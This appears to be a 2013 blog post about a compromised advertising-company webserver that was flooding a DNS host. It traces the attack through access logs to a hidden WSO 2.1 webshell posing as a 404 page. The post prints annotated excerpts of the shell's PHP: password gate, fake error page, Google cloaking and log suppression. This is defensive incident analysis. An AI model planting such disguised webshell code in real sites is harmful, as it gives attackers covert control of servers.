12 05 2013
Webserver attack deconstructed
![]() |
This is a webshell. This post covers how I found it on a server. |
The emergency
Some days ago I got a call.
A webserver (Linux) of an advertising company hosting about 60 sites was going nuts and was driving attacks against other sites.
The datacenter had taken it offline twice and now demanded a reinstallation.
I asked for more information from the datacenter to get some overview of the situation and got some logs with tons of lines like this:
2013.xx.xx 18:16:49 UDP: xx.xx.xx.xx:39731 -> 209.112.113.33:53 flags: size: 77
So what are we seeing here?
Obviously the server is flooding 209.112.113.33 with DNS (Port 53) requests.
So let’s have a quick look who is beeing attacked:
$ host 209.112.113.33
33.113.112.209.in-addr.arpa domain name pointer a1.verisigndns.com.
33.113.112.209.in-addr.arpa domain name pointer sbdns3.cscdns.net.
33.113.112.209.in-addr.arpa domain name pointer spdns3.cscdns.net.
ok – this is some DNS service hosted by Verisign (most probably it’s hosted DNS service) – the 3 entries originate from load balancing though multiple DNS entries.
The frequency of this requests were about 100/s according to the logs.
This attack pattern could theoretically also originate from a programming error but most probably the server had been compromised.
As the host was taken offline and there was no way to access it by ssh I got the credentials for HP iLO on this server.
There I set up a firewall that blocked DNS requests that exceeded some 100 / second.
This was only because of paranoia – I didn’t plan to boot the server into the hacked system but who knows …
Then I had to convince the support staff of the datacenter to put the server back online without doing a re-installation.
My argument was that if there was a website with malicious code and we restored the backup the malicious code would again be in place. They agreed to put the server online in rescue mode.
Rescue mode
Cleaning up
I cleaned those files. Looking at the installed Plesk version I found out that it wasn’t prone to this attack anymore and I remembered that the client had told me that he moved his sites to the new host some time ago. So most obviously he moved the malware with it.
Could this really be the cause for the UDP flood? I digged deeper into RunForestRun and found out that ir was redirecting users accessing a website with this malware. But DNS flooding? No there seemed to be more going on.
Digging deeper
root@grml:/mnt/md0/var/www/vhosts# cat */statistics/logs/access_log.processed | grep '404.php'
xx.xx.xx.xx - - [xx/xx/xx:02:15:47 +0100] "GET /wp-admin/user/404.php HTTP/1.1" 200 698 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"
xx.xx.xx.xx - - [xx/xx/xx:02:15:53 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3978 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"
xx.xx.xx.xx - - [xx/xx/xx:02:15:59 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 5193 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"
xx.xx.xx.xx - - [xx/xx/xx:02:16:03 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3849 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"
xx.xx.xx.xx - - [xx/xx/xx:02:16:07 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3652 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"
xx.xx.xx.xx - - [xx/xx/xx:02:16:10 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3710 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"
xx.xx.xx.xx - - [xx/xx/xx:02:16:11 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3639 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"
xx.xx.xx.xx - - [xx/xx/xx:02:17:38 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3697 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"
It matches the time of the attack and why should someone issue a POST request against a 404 error page?
Finding the webshell
This 404.php script seemed to be something I wanted to look into and I really found what I expected. See the comments for an explanation
/* WSO 2.1 (Ynx Shell) */
/*hackersclub.net*/ // Some credits
$auth_pass = "some MD5"; // Needed to access the magic inside
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
// Lock out google
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() { // Outputs a regular error page
?>
Not Found
The requested URL was not found on this server.
Apache Server at Port 80
exit; } // If no pass is give via POST it prints the / login page if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else printLogin();
I was curious so I moved this script into a virtual machine, set my own password (md5) and accessed it.
This looked sane – but the HTML source behind was more interesting:
Not Found
The requested URL was not found on this server.
Apache Server at ubuntu.local Port 80
I used Firebug to locate the form field and filled it out with the password set before. Pressed return and …. wow!
A user calling this page randomly gets what she expects. Google only sees what it should. Behind lies a webshell that lets you do quite everything the webserver user on this server is allowed to do.
node.js – how exports and module.exports works